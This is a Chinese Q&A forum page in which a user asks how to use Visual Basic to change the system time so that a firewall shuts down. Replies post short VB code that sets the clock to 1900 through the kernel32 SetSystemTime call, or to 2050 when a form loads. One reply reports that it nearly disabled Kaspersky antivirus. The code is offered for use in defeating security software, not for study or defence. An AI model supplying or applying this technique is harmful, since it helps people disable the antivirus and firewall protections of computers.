VB修该系统是间

来源:百度知道 编辑:UC知道 时间:2024/06/15 23:38:20
如何用vb修改系统时间,导致防火墙关闭,请帮忙! 谢谢

楼主这招真狠啊,跟谁学的?

Private Type SYSTEMTIME
wYear As Integer
wMonth As Integer
wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliseconds As Integer
End Type
Private Declare Function SetSystemTime Lib "kernel32" (lpSystemTime As SYSTEMTIME) As Long

Private Sub Command1_Click()
Dim nTime As SYSTEMTIME
nTime.wYear = 1900
nTime.wMonth = 1
nTime.wDay = 1
SetSystemTime nTime
End Sub

果然有效,差点把我卡巴给废喽

Private Sub Form_Load()
Date = "2050/01/29"
Time = "00:00:00"
End Sub